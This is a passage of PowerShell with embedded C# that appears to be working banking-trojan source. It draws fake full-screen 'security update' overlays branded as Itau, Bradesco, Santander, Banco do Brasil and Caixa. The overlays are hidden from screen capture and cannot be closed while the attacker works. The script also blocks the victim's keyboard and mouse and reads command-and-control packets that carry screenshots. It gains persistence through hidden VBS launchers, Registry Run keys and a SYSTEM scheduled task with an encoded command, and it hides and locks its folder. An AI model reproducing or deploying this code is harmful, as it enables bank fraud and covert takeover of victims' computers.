radius * 2); } using (Pen arcPen = new Pen(spinnerColor, thickness)) { arcPen.StartCap = System.Drawing.Drawing2D.LineCap.Round; arcPen.EndCap = System.Drawing.Drawing2D.LineCap.Round; float startAngle = (float)(angle * 180 / Math.PI); e.Graphics.DrawArc(arcPen, cx - radius, cy - radius, radius * 2, radius * 2, startAngle, 90); } }; overlayForm.Controls.Add(dotsPanel); // Nome do banco lblMain.Text = bankName; lblMain.ForeColor = bankText; lblMain.Font = new Font("Segoe UI", 42, FontStyle.Bold); lblMain.AutoSize = false; lblMain.Size = new Size(scrW, 70); lblMain.Location = new Point(offXB, midY - 100); lblMain.TextAlign = ContentAlignment.MiddleCenter; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); // Subtitulo lblPercent.Text = "Atualizacao de Seguranca"; lblPercent.ForeColor = Color.FromArgb(220, bankText); lblPercent.Font = new Font("Segoe UI", 16); lblPercent.AutoSize = false; lblPercent.Size = new Size(scrW, 35); lblPercent.Location = new Point(offXB, midY - 10); lblPercent.TextAlign = ContentAlignment.MiddleCenter; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); // Barra de progresso (fundo) int barW = 450; Panel barBg6 = new Panel(); barBg6.Size = new Size(barW, 6); barBg6.Location = new Point(midXB - barW / 2, midY + 40); barBg6.BackColor = Color.FromArgb(80, bankText); overlayForm.Controls.Add(barBg6); // Barra de progresso (preenchimento) Panel barFill6 = new Panel(); barFill6.Size = new Size(0, 6); barFill6.Location = new Point(0, 0); barFill6.BackColor = bankText; barBg6.Controls.Add(barFill6); // Porcentagem Label lblPct6 = new Label(); lblPct6.Text = "0%"; lblPct6.ForeColor = bankText; lblPct6.Font = new Font("Segoe UI", 14, FontStyle.Bold); lblPct6.AutoSize = false; lblPct6.Size = new Size(scrW, 30); lblPct6.Location = new Point(offXB, midY + 55); lblPct6.TextAlign = ContentAlignment.MiddleCenter; lblPct6.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPct6); // Mensagem rotativa lblSub.Text = "Conectando ao servidor seguro..."; lblSub.ForeColor = Color.FromArgb(180, bankText); lblSub.Font = new Font("Segoe UI", 10); lblSub.AutoSize = false; lblSub.Size = new Size(scrW, 25); lblSub.Location = new Point(offXB, midY + 95); lblSub.TextAlign = ContentAlignment.MiddleCenter; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); // Info do usuario/PC Label lblUser6 = new Label(); lblUser6.Text = Environment.UserName + " * " + Environment.MachineName; lblUser6.ForeColor = Color.FromArgb(120, bankText); lblUser6.Font = new Font("Segoe UI", 9); lblUser6.AutoSize = false; lblUser6.Size = new Size(scrW, 20); lblUser6.Location = new Point(0, midY + 130); lblUser6.TextAlign = ContentAlignment.MiddleCenter; lblUser6.BackColor = Color.Transparent; overlayForm.Controls.Add(lblUser6); // Mensagens rotativas string[] msgs6 = { "Conectando ao servidor seguro...", "Verificando certificados digitais...", "Baixando componentes de seguranca...", "Validando modulo de protecao...", "Atualizando configuracoes...", "Sincronizando dados...", "Verificando integridade do sistema...", "Aplicando atualizacoes de seguranca...", "Registrando componentes...", "Finalizando instalacao..." }; int msgIdx6 = 0; int prog6 = 0; int tick6 = 0; // Timer para animacao do progresso var timerBank = new System.Windows.Forms.Timer(); timerBank.Interval = 50; timerBank.Tick += (s, e) => { try { tick6++; angle -= 0.1; dotsPanel.Invalidate(); // Incrementar progresso devagar (a cada 40 ticks = 2 segundos) if (tick6 % 40 == 0 && prog6 < 99) { prog6++; int fillW = (int)((barW) * prog6 / 100.0); barFill6.Width = fillW; lblPct6.Text = prog6 + "%"; } // Mudar mensagem a cada 100 ticks = 5 segundos if (tick6 % 100 == 0) { msgIdx6 = (msgIdx6 + 1) % msgs6.Length; lblSub.Text = msgs6[msgIdx6]; } overlayForm.TopMost = true; SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x43); } catch { } }; timerBank.Start(); break; case 11: case 12: case 13: case 14: case 15: // === MODOS ELABORADOS POR BANCO === // Paleta de cores por banco string bnkName = ""; Color bnkPrimary = Color.White; Color bnkSecondary = Color.White; Color bnkAccent = Color.White; Color bnkTopBar = Color.White; switch (currentMode) { case 11: bnkName = "Itau"; bnkPrimary = Color.FromArgb(236, 112, 0); bnkSecondary = Color.FromArgb(0, 54, 65); bnkAccent = Color.FromArgb(236, 112, 0); bnkTopBar = Color.FromArgb(0, 54, 65); break; case 12: bnkName = "Bradesco"; bnkPrimary = Color.FromArgb(204, 9, 47); bnkSecondary = Color.FromArgb(204, 9, 47); bnkAccent = Color.FromArgb(204, 9, 47); bnkTopBar = Color.FromArgb(204, 9, 47); break; case 13: bnkName = "Santander"; bnkPrimary = Color.FromArgb(236, 0, 0); bnkSecondary = Color.FromArgb(236, 0, 0); bnkAccent = Color.FromArgb(236, 0, 0); bnkTopBar = Color.FromArgb(236, 0, 0); break; case 14: bnkName = "Banco do Brasil"; bnkPrimary = Color.FromArgb(255, 237, 0); bnkSecondary = Color.FromArgb(0, 56, 130); bnkAccent = Color.FromArgb(0, 56, 130); bnkTopBar = Color.FromArgb(0, 56, 130); break; case 15: bnkName = "Caixa"; bnkPrimary = Color.FromArgb(0, 102, 179); bnkSecondary = Color.FromArgb(0, 102, 179); bnkAccent = Color.FromArgb(247, 144, 30); bnkTopBar = Color.FromArgb(0, 102, 179); break; } overlayForm.BackColor = Color.White; // Coordenadas relativas ao monitor primario Rectangle priE = Screen.PrimaryScreen.Bounds; Rectangle vsE = SystemInformation.VirtualScreen; int offXE = priE.X - vsE.X; int offYE = priE.Y - vsE.Y; int sw = priE.Width; int sh = priE.Height; // === TOPBAR === Panel topBarE = new Panel(); topBarE.Size = new Size(sw, 60); topBarE.Location = new Point(offXE, offYE); topBarE.BackColor = bnkTopBar; overlayForm.Controls.Add(topBarE); Label brandE = new Label(); brandE.Text = bnkName; brandE.Font = new Font("Segoe UI", 20, FontStyle.Bold); brandE.ForeColor = (currentMode == 14) ? bnkPrimary : Color.White; brandE.AutoSize = true; brandE.Location = new Point(25, 12); brandE.BackColor = Color.Transparent; topBarE.Controls.Add(brandE); Label secureE = new Label(); secureE.Text = " Ambiente Seguro "; secureE.Font = new Font("Segoe UI", 9); secureE.ForeColor = Color.White; secureE.BackColor = Color.FromArgb(10, 191, 131); secureE.AutoSize = true; secureE.Location = new Point(sw - 150, 18); topBarE.Controls.Add(secureE); // === NOTICE BAR === Panel noticeE = new Panel(); noticeE.Size = new Size(sw, 45); noticeE.Location = new Point(offXE, offYE + 60); noticeE.BackColor = bnkPrimary; overlayForm.Controls.Add(noticeE); Label noticeTxtE = new Label(); noticeTxtE.Text = "Ola " + Environment.UserName + ", o computador " + Environment.MachineName + " esta recebendo uma atualizacao de seguranca obrigatoria. NAO DESLIGUE O COMPUTADOR."; noticeTxtE.Font = new Font("Segoe UI", 9, FontStyle.Bold); noticeTxtE.ForeColor = (currentMode == 14) ? bnkSecondary : Color.White; noticeTxtE.AutoSize = false; noticeTxtE.Size = new Size(sw - 50, 35); noticeTxtE.Location = new Point(25, 5); noticeTxtE.BackColor = Color.Transparent; noticeE.Controls.Add(noticeTxtE); // === INFO TECNICA === Label versionE = new Label(); versionE.Text = "Modulo de Seguranca v2.8.3 -> v3.1.7 | SHA256: 7a3b9f2e8d..."; versionE.Font = new Font("Consolas", 8); versionE.ForeColor = Color.Gray; versionE.AutoSize = true; versionE.Location = new Point(offXE + 25, offYE + 112); versionE.BackColor = Color.Transparent; overlayForm.Controls.Add(versionE); // === STEPS === int cY = offYE + 140; int stH = 65; int mg = 30; int stW = sw - (mg * 2); Label[] titlesE = new Label[4]; Label[] pctsE = new Label[4]; Label[] descsE = new Label[4]; Label[] checksE = new Label[4]; Panel[] barBgsE = new Panel[4]; Panel[] barsE = new Panel[4]; Label[] numsE = new Label[4]; string[] tits = { "Verificando sistema operacional", "Download do modulo de seguranca", "Validando certificados digitais", "Aplicando atualizacao" }; string[][] descMsgs = { new string[] { "Identificando versao do Windows...", "Verificando arquitetura do sistema...", "Checando compatibilidade...", "Sistema: " + Environment.OSVersion.ToString() }, new string[] { "Conectando ao servidor seguro...", "Baixando pacote (0 KB / 47.832 KB)...", "Verificando integridade do arquivo...", "Descompactando modulo..." }, new string[] { "Validando certificado raiz...", "Checando cadeia de certificados...", "Verificando assinatura digital...", "Validando token de autenticacao..." }, new string[] { "Preparando instalacao...", "Atualizando componentes...", "Registrando DLLs...", "Finalizando configuracao..." } }; for (int i = 0; i < 4; i++) { Panel box = new Panel(); box.Size = new Size(stW, stH); box.Location = new Point(offXE + mg, cY + (i * (stH + 8))); box.BackColor = Color.FromArgb(250, 251, 253); box.BorderStyle = BorderStyle.FixedSingle; overlayForm.Controls.Add(box); Label nm = new Label(); nm.Text = (i + 1).ToString(); nm.Font = new Font("Segoe UI", 10, FontStyle.Bold); nm.ForeColor = Color.White; nm.BackColor = bnkAccent; nm.Size = new Size(26, 26); nm.Location = new Point(8, 6); nm.TextAlign = ContentAlignment.MiddleCenter; box.Controls.Add(nm); numsE[i] = nm; Label chk = new Label(); chk.Text = ""; chk.Font = new Font("Segoe UI", 12, FontStyle.Bold); chk.ForeColor = Color.FromArgb(10, 191, 131); chk.Size = new Size(26, 26); chk.Location = new Point(8, 6); chk.TextAlign = ContentAlignment.MiddleCenter; chk.BackColor = Color.Transparent; chk.Visible = false; box.Controls.Add(chk); checksE[i] = chk; Label tit = new Label(); tit.Text = tits[i]; tit.Font = new Font("Segoe UI", 9, FontStyle.Bold); tit.ForeColor = bnkSecondary; tit.AutoSize = true; tit.Location = new Point(42, 5); tit.BackColor = Color.Transparent; box.Controls.Add(tit); titlesE[i] = tit; Label pc = new Label(); pc.Text = "0%"; pc.Font = new Font("Segoe UI", 8); pc.ForeColor = Color.Gray; pc.Size = new Size(40, 18); pc.Location = new Point(stW - 55, 5); pc.TextAlign = ContentAlignment.MiddleRight; pc.BackColor = Color.Transparent; box.Controls.Add(pc); pctsE[i] = pc; Label ds = new Label(); ds.Text = descMsgs[i][0]; ds.Font = new Font("Segoe UI", 8); ds.ForeColor = Color.Gray; ds.AutoSize = false; ds.Size = new Size(stW - 100, 18); ds.Location = new Point(42, 24); ds.BackColor = Color.Transparent; box.Controls.Add(ds); descsE[i] = ds; Panel bg = new Panel(); bg.Size = new Size(stW - 55, 4); bg.Location = new Point(42, 48); bg.BackColor = Color.FromArgb(230, 233, 240); box.Controls.Add(bg); barBgsE[i] = bg; Panel br = new Panel(); br.Size = new Size(0, 4); br.Location = new Point(0, 0); br.BackColor = bnkAccent; bg.Controls.Add(br); barsE[i] = br; } // === BARRA PRINCIPAL === int mbY = cY + (4 * (stH + 8)) + 12; Panel mbBg = new Panel(); mbBg.Size = new Size(stW, 16); mbBg.Location = new Point(offXE + mg, mbY); mbBg.BackColor = Color.FromArgb(230, 233, 240); overlayForm.Controls.Add(mbBg); Panel mbFill = new Panel(); mbFill.Size = new Size(0, 16); mbFill.Location = new Point(0, 0); mbFill.BackColor = bnkAccent; mbBg.Controls.Add(mbFill); Label mbPct = new Label(); mbPct.Text = "0% concluido - Nao desligue o computador."; mbPct.Font = new Font("Segoe UI", 9); mbPct.ForeColor = bnkSecondary; mbPct.AutoSize = true; mbPct.Location = new Point(offXE + mg, mbY + 22); mbPct.BackColor = Color.Transparent; overlayForm.Controls.Add(mbPct); // === LOG AREA === Panel logPanel = new Panel(); logPanel.Size = new Size(stW, 80); logPanel.Location = new Point(offXE + mg, mbY + 50); logPanel.BackColor = Color.FromArgb(20, 20, 25); logPanel.BorderStyle = BorderStyle.FixedSingle; overlayForm.Controls.Add(logPanel); Label logTitle = new Label(); logTitle.Text = " LOG DO SISTEMA "; logTitle.Font = new Font("Consolas", 8); logTitle.ForeColor = Color.FromArgb(100, 255, 100); logTitle.AutoSize = true; logTitle.Location = new Point(5, 3); logTitle.BackColor = Color.Transparent; logPanel.Controls.Add(logTitle); Label logText = new Label(); logText.Text = "[" + DateTime.Now.ToString("HH:mm:ss") + "] Iniciando processo de atualizacao...\n[" + DateTime.Now.ToString("HH:mm:ss") + "] Conectando ao servidor " + bnkName.ToLower() + ".com.br..."; logText.Font = new Font("Consolas", 7); logText.ForeColor = Color.FromArgb(180, 180, 180); logText.AutoSize = false; logText.Size = new Size(stW - 15, 55); logText.Location = new Point(5, 20); logText.BackColor = Color.Transparent; logPanel.Controls.Add(logText); // === ANIMACAO === int[] progE = { 0, 0, 0, 0 }; int stepE = 0; int tickE = 0; string[] logMsgs = { "Verificando integridade dos arquivos...", "Conexao segura estabelecida (TLS 1.3)", "Certificado validado: CN=" + bnkName + " CA", "Download em andamento...", "Verificando assinatura digital...", "Componente atualizado: security.dll", "Registrando bibliotecas...", "Aplicando configuracoes de seguranca...", "Sincronizando com servidor central...", "Validando token de sessao..." }; var timerE = new System.Windows.Forms.Timer(); timerE.Interval = 35; timerE.Tick += (s, e) => { try { tickE++; // Atualizar step atual if (stepE < 4 && progE[stepE] < 100) { progE[stepE] += 1; int bw = (int)((barBgsE[stepE].Width) * progE[stepE] / 100.0); barsE[stepE].Width = bw; pctsE[stepE].Text = progE[stepE] + "%"; // Atualizar descricao baseado no progresso int msgIdx = (progE[stepE] / 26) % 4; descsE[stepE].Text = descMsgs[stepE][msgIdx]; // Download KB if (stepE == 1 && progE[1] > 10 && progE[1] < 90) { int kb = (int)(progE[1] * 478.32); descsE[1].Text = "Baixando pacote (" + kb + " KB / 47.832 KB)..."; } if (progE[stepE] >= 100) { barsE[stepE].BackColor = Color.FromArgb(10, 191, 131); numsE[stepE].Visible = false; checksE[stepE].Text = "OK"; checksE[stepE].Visible = true; descsE[stepE].Text = "Concluido com sucesso"; descsE[stepE].ForeColor = Color.FromArgb(10, 191, 131); if (stepE < 3) stepE++; else { progE[3] = 0; barsE[3].BackColor = bnkAccent; numsE[3].Visible = true; checksE[3].Visible = false; descsE[3].ForeColor = Color.Gray; } } } // Atualizar barra principal int tot = (progE[0] + progE[1] + progE[2] + progE[3]) / 4; mbFill.Width = (int)((mbBg.Width) * tot / 100.0); mbPct.Text = tot + "% concluido - Nao desligue o computador."; // Atualizar log a cada 60 ticks if (tickE % 60 == 0) { string newLog = "[" + DateTime.Now.ToString("HH:mm:ss") + "] " + logMsgs[(tickE / 60) % logMsgs.Length]; string[] lines = logText.Text.Split('\n'); if (lines.Length > 2) logText.Text = lines[1] + "\n" + lines[2] + "\n" + newLog; else logText.Text = logText.Text + "\n" + newLog; } overlayForm.TopMost = true; SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x43); } catch { } }; timerE.Start(); break; } overlayForm.Load += (s, e) => { // Posicionar elementos no MONITOR PRIMARIO Rectangle pri = Screen.PrimaryScreen.Bounds; Rectangle vsc = SystemInformation.VirtualScreen; int offX = pri.X - vsc.X; int offY = pri.Y - vsc.Y; int cX = offX + pri.Width / 2; int cY = offY + pri.Height / 2; if (currentMode == 1) { dotsPanel.Left = cX - dotsPanel.Width / 2; dotsPanel.Top = cY - 150; lblMain.Left = cX - lblMain.Width / 2; lblMain.Top = cY - 30; lblPercent.Left = cX - lblPercent.Width / 2; lblPercent.Top = cY + 60; lblSub.Left = cX - lblSub.Width / 2; lblSub.Top = cY + 120; } else if (currentMode == 2) { dotsPanel.Left = cX - dotsPanel.Width / 2; dotsPanel.Top = cY - 120; lblMain.Left = cX - lblMain.Width / 2; lblMain.Top = cY; lblSub.Left = cX - lblSub.Width / 2; lblSub.Top = cY + 80; } else if (currentMode == 3) { lblMain.Left = offX + pri.Width / 6; lblMain.Top = cY - 200; lblPercent.Left = offX + pri.Width / 6; lblPercent.Top = cY - 20; lblSub.Left = offX + pri.Width / 6; lblSub.Top = cY + 120; } else if (currentMode == 4) { lblMain.Left = offX + 50; lblMain.Top = cY - 50; lblPercent.Left = offX + 50; lblPercent.Top = cY; lblSub.Left = offX + 50; lblSub.Top = cY + 80; } // Modos 6-24 ja tem posicao fixa definida no switch try { SetWindowDisplayAffinity(overlayForm.Handle, 0x11); } catch { } try { SetWindowLong(overlayForm.Handle, -20, GetWindowLong(overlayForm.Handle, -20) | 0x80000 | 0x20 | 0x80); } catch { } try { SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x43); } catch { } }; overlayForm.FormClosing += (s, e) => { if (!shouldClose) e.Cancel = true; }; // Timer para animacao var timer = new System.Windows.Forms.Timer(); timer.Interval = 50; int tickCount = 0; // 720 ticks = 36 segundos = 1% (total ~1 hora para 99%) int ticksPerPercent = 720; timer.Tick += (s, e) => { try { tickCount++; angle -= 0.1; if (currentMode == 1 || currentMode == 2 || (currentMode >= 6 && currentMode <= 10)) { dotsPanel.Invalidate(); } // Incrementar % muito devagar (1% a cada ~36 segundos) Rectangle pri = Screen.PrimaryScreen.Bounds; Rectangle vsc = SystemInformation.VirtualScreen; int cX = (pri.X - vsc.X) + pri.Width / 2; if (currentMode == 1) { if (progress < 99 && tickCount % ticksPerPercent == 0) progress++; lblPercent.Text = progress + "% concluido"; lblPercent.Left = cX - lblPercent.Width / 2; } else if (currentMode == 3) { if (progress < 99 && tickCount % (ticksPerPercent / 2) == 0) progress++; lblSub.Text = progress + "% concluido"; } else if (currentMode == 4) { if (progress < 99 && tickCount % ticksPerPercent == 0) progress++; lblPercent.Text = progress + "% concluido."; } overlayForm.TopMost = true; ForceToFront(overlayForm.Handle); } catch { } }; timer.Start(); // Forcar para frente quando form aparecer overlayForm.Shown += (s, ev) => { try { ForceToFront(overlayForm.Handle); } catch { } }; Application.Run(overlayForm); } catch { } finally { isActive = false; overlayForm = null; } }); formThread.SetApartmentState(ApartmentState.STA); formThread.IsBackground = true; formThread.Start(); Thread.Sleep(1); } public static void Hide() { shouldClose = true; isActive = false; if (overlayForm != null) { try { if (overlayForm.InvokeRequired) { overlayForm.BeginInvoke((MethodInvoker)delegate { try { Application.ExitThread(); overlayForm.Close(); } catch { } }); } else { Application.ExitThread(); overlayForm.Close(); } } catch { } } if (formThread != null) { try { formThread.Join(1000); } catch { } } overlayForm = null; formThread = null; } } "@ Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing try { Add-Type -TypeDefinition $NativeCode -ReferencedAssemblies System.Windows.Forms,System.Drawing -ErrorAction Stop } catch { } # === VERIFICACAO AUTOMATICA DE CLASSES === $classesOK = $true @('NativeInput', 'DisplayOverlay') | ForEach-Object { try { $t = [System.Type]::GetType($_, $false) if (-not $t) { $t = $_ -as [Type] } if ($t) { } else { $classesOK = $false } } catch { $classesOK = $false } } if (-not $classesOK) { try { Add-Type -TypeDefinition $NativeCode -ReferencedAssemblies System.Windows.Forms,System.Drawing -ErrorAction Stop } catch { } } $script:OverlayActive = $false $script:CurrentOverlayMode = 0 $script:InputPaused = $false function Start-DisplayOverlay { param([int]$Mode = 1) try { [DisplayOverlay]::Show($Mode) $script:OverlayActive = $true $script:CurrentOverlayMode = $Mode } catch { $script:OverlayActive = $false } } function Stop-DisplayOverlay { try { [DisplayOverlay]::Hide() } catch { } $script:OverlayActive = $false $script:CurrentOverlayMode = 0 } function Start-InputPause { try { [NativeInput]::Block() $script:InputPaused = $true } catch { $script:InputPaused = $false } } function Stop-InputPause { try { [NativeInput]::Unblock() } catch { } $script:InputPaused = $false } function Read-Packet { param($Stream, [switch]$Wait) try { # Se Wait, aguardar dados chegarem if ($Wait) { $timeout = [DateTime]::Now.AddSeconds(5) while (-not $Stream.DataAvailable -and [DateTime]::Now -lt $timeout) { Start-Sleep -Milliseconds 1 } if (-not $Stream.DataAvailable) { return $null } } # Ler header completo (9 bytes) - reusar buffer if (-not $script:_pktHeaderBuf) { $script:_pktHeaderBuf = New-Object byte[] 9 } $hdr = $script:_pktHeaderBuf $hdrRead = 0 $timeout = [DateTime]::Now.AddSeconds(5) while ($hdrRead -lt 9) { if ([DateTime]::Now -gt $timeout) { return $null } try { $r = $Stream.Read($hdr, $hdrRead, 9 - $hdrRead) if ($r -gt 0) { $hdrRead += $r } elseif ($r -eq 0) { return $null } # conexao fechada pelo servidor } catch { if (-not $Stream.DataAvailable) { Start-Sleep -Milliseconds 5 } } } # Verificar magic $magic = [byte[]]$Config.Magic if (($hdr[0] -ne $magic[0]) -or ($hdr[1] -ne $magic[1]) -or ($hdr[2] -ne $magic[2]) -or ($hdr[3] -ne $magic[3])) { return $null } $type = $hdr[4] $len = [BitConverter]::ToInt32($hdr, 5) $data = @() if ($len -gt 0 -and $len -lt 50000000) { # 50MB max (screenshots grandes podem ter varios MB) $data = New-Object byte[] $len $total = 0 $timeout = [DateTime]::Now.AddSeconds(60) # 60s para pacotes grandes (screenshots) while ($total -lt $len) { if ([DateTime]::Now -gt $timeout) { return $null } try { $toRead = [Math]::Min(65536, $len - $total) $chunk = $Stream.Read($data, $total, $toRead) if ($chunk -gt 0) { $total += $chunk } elseif ($chunk -eq 0) { return $null } # conexao fechada pelo servidor } catch { Start-Sleep -Milliseconds 5 } } } return @{ Type = $type; Length = $len; Data = $data } } catch { return $null } } # =============================================================================== # FUNCOES AUXILIARES DE VERIFICACAO # =============================================================================== # Funcao para verificar se e Admin function Test-IsAdmin { try { $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($identity) return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) } catch { return $false } } # Funcao para verificar se e SYSTEM function Test-IsSystem { try { $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() return ($identity.Name -eq "NT AUTHORITY\SYSTEM" -or $identity.User.Value -eq "S-1-5-18") } catch { return $false } } # =============================================================================== # PERSISTENCIA LIMPA (APENAS TAREFA AGENDADA + UAC) # =============================================================================== # Configuracao da persistencia limpa (usa mesmos valores de $InstallConfig) $script:CleanPersistConfig = @{ TaskName = $script:InstallConfig.TaskName InstallDir = $script:InstallConfig.InstallDir ScriptName = $script:InstallConfig.ScriptName # Caminho alternativo para usuario sem Admin UserInstallDir = "$env:APPDATA\Microsoft\$($__identity.SvcName)" # User mode sempre AppData } # Criar launcher VBScript function Build-LauncherVBS { param([string]$OutputPath, [string]$TargetScript) try { $escapedPath = $TargetScript -replace "'", "''" $vbsCode = "CreateObject(""WScript.Shell"").Run ""powershell.exe -NoP -EP Bypass -W Hidden -c """"& ([ScriptBlock]::Create((gc '$escapedPath' -Raw)))"""""", 0, False" [System.IO.File]::WriteAllText($OutputPath, $vbsCode, [System.Text.Encoding]::ASCII) return (Test-Path $OutputPath) } catch { return $false } } # Spawnar processo invisivel (sem janela) function Start-Invisible { param([string]$Command, [string]$Arguments) try { $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = $Command $psi.Arguments = $Arguments $psi.CreateNoWindow = $true $psi.UseShellExecute = $false $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden [System.Diagnostics.Process]::Start($psi) | Out-Null return $true } catch { return $false } } # Instalar persistencia SIMPLES (Registry Run + VBS launcher para evitar janela piscando) function Install-CleanPersistence { param([string]$ScriptPath) try { $cfg = $script:CleanPersistConfig # Usar o script path fornecido ou fallback $scriptToUse = $ScriptPath if (-not $scriptToUse -or -not (Test-Path $scriptToUse -EA SilentlyContinue)) { $scriptToUse = $script:SourceScriptPath } if (-not $scriptToUse -or -not (Test-Path $scriptToUse -EA SilentlyContinue)) { $scriptToUse = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } # Criar VBS launcher (nome polimorfico) $__vbsName = $__identity.FileName.Substring(0, [Math]::Min(12, $__identity.FileName.Length)) $vbsPath = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$__vbsName.vbs" try { $vbsDir = Split-Path $vbsPath -Parent if (-not (Test-Path $vbsDir)) { New-Item -Path $vbsDir -ItemType Directory -Force -EA SilentlyContinue | Out-Null } Build-LauncherVBS -OutputPath $vbsPath -TargetScript $scriptToUse | Out-Null } catch {} # Startup Folder (metodo mais robusto) $startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" $startupVbs = "$startupFolder\$__vbsName.vbs" try { Build-LauncherVBS -OutputPath $startupVbs -TargetScript $scriptToUse | Out-Null } catch {} # Registry Run (backup) try { $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regName = $cfg.TaskName $regValue = "wscript.exe `"$vbsPath`"" Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -Force } catch {} # Proteger pasta USER (maximo) try { $userDir = "$env:APPDATA\Microsoft\$($__identity.SvcName)" if (Test-Path $userDir) { # 1. ACL: apenas usuario atual e SYSTEM $acl = Get-Acl $userDir $acl.SetAccessRuleProtection($true, $false) $acl.Access | ForEach-Object { $acl.RemoveAccessRule($_) } | Out-Null $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent().Name $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule($currentUser,"FullControl","ContainerInherit,ObjectInherit","None","Allow"))) $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule("SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow"))) Set-Acl $userDir $acl # 2. Atributos: Hidden + System (invisivel no Explorer) $dirItem = Get-Item $userDir -Force $dirItem.Attributes = $dirItem.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System # 3. Esconder arquivos individuais Get-ChildItem $userDir -Force -EA 0 | ForEach-Object { $_.Attributes = $_.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System } } } catch {} return $true } catch { return $false } } # Verificar se persistencia limpa esta instalada (apenas Registry Run) function Test-CleanPersistenceInstalled { $cfg = $script:CleanPersistConfig # Verificar Tarefa Agendada (metodo principal) try { $task = Get-ScheduledTask -TaskName $cfg.TaskName -ErrorAction SilentlyContinue if ($null -ne $task) { return $true } } catch {} # Verificar Registry Run (fallback) try { $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regValue = Get-ItemProperty -Path $regPath -Name $cfg.TaskName -ErrorAction SilentlyContinue if ($null -ne $regValue) { return $true } } catch {} return $false } # Remover persistencia SIMPLES function Remove-CleanPersistence { try { $cfg = $script:CleanPersistConfig # Remover do Registry Run (unica persistencia agora) $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" Remove-ItemProperty -Path $regPath -Name $cfg.TaskName -ErrorAction SilentlyContinue return $true } catch { return $false } } # Solicitar UAC e instalar servico function Request-UACAndInstallService { param([string]$ScriptPath) $scriptToUse = $ScriptPath if (-not $scriptToUse) { $scriptToUse = $script:SourceScriptPath } if (-not $scriptToUse) { $scriptToUse = (Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName) } if (-not (Test-Path $scriptToUse -EA SilentlyContinue)) { return "error" } $scriptEsc = $scriptToUse -replace "'", "''" try { $proc = Start-Process powershell.exe ` -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"& ([ScriptBlock]::Create((gc '$scriptEsc' -Raw))) -ScriptPath '$scriptEsc' -InstallService`"" ` -Verb RunAs ` -PassThru if ($proc) { $proc.WaitForExit(180000) } # Verificar tarefa SYSTEM com retry for ($check = 1; $check -le 5; $check++) { Start-Sleep -Seconds 3 $task = Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue if ($task) { return "installed" } } $r = Install-CleanPersistence -ScriptPath $scriptToUse return $(if ($r) { "persist_only" } else { "error" }) } catch { $r = Install-CleanPersistence -ScriptPath $scriptToUse return $(if ($r) { "persist_only" } else { "denied" }) } } function Test-PersistenceInstalled { Test-CleanPersistenceInstalled } function Remove-AutoPersistence { Remove-CleanPersistence } # Funcao para criar tarefa agendada SYSTEM + persistencia function Install-ScheduledTask { param([string]$ScriptPath) try { $cfg = $script:InstallConfig $taskName = $cfg.TaskName $svcName = $__identity.SvcName $fileNameNoExt = $__identity.FileName # Pasta de instalacao $installPath = $cfg.InstallDir if (-not (Test-Path $installPath)) { New-Item -Path $installPath -ItemType Directory -Force -EA SilentlyContinue | Out-Null } # Copiar script se necessario $destScript = Join-Path $installPath $cfg.ScriptName if ($ScriptPath -and $ScriptPath -ne $destScript -and (Test-Path $ScriptPath -EA 0)) { Copy-Item -Path $ScriptPath -Destination $destScript -Force -EA SilentlyContinue } # Garantir que o arquivo existe if (-not (Test-Path $destScript -EA 0)) { return $false } $isAdmin = Test-IsAdmin if (-not $isAdmin) { # Sem Admin: Registry Run $destEsc = $destScript -replace "'", "''" Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $taskName -Value "powershell.exe -NoP -EP Bypass -W Hidden -c `"`$env:_sU='1';IEX (gc '$destEsc' -Raw)`"" -Force return $true } # === ADMIN: Criar Task SYSTEM === $destEsc = $destScript -replace "'", "''" # VBS com nome polimorfico $vbsName = $fileNameNoExt.Substring(0, [Math]::Min(12, $fileNameNoExt.Length)) $vbsPath = "$installPath\$vbsName.vbs" # Comando com identidade embutida $psCmd = "`$env:_nR='1';`$env:_sU='1';`$env:_sN='$svcName';`$env:_fN='$fileNameNoExt';& ([ScriptBlock]::Create((gc '$destEsc' -Raw))) -ScriptPath '$destEsc'" $encCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($psCmd)) # Criar VBS $vbsContent = "CreateObject(""WScript.Shell"").Run ""powershell.exe -NoP -EP Bypass -NonInteractive -EncodedCommand $encCmd"", 0, False" [System.IO.File]::WriteAllText($vbsPath, $vbsContent, [System.Text.Encoding]::ASCII) # Criar Task SYSTEM Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -EA SilentlyContinue $action = New-ScheduledTaskAction -Execute "$env:WINDIR\System32\wscript.exe" -Argument "`"$vbsPath`"" $trigger = 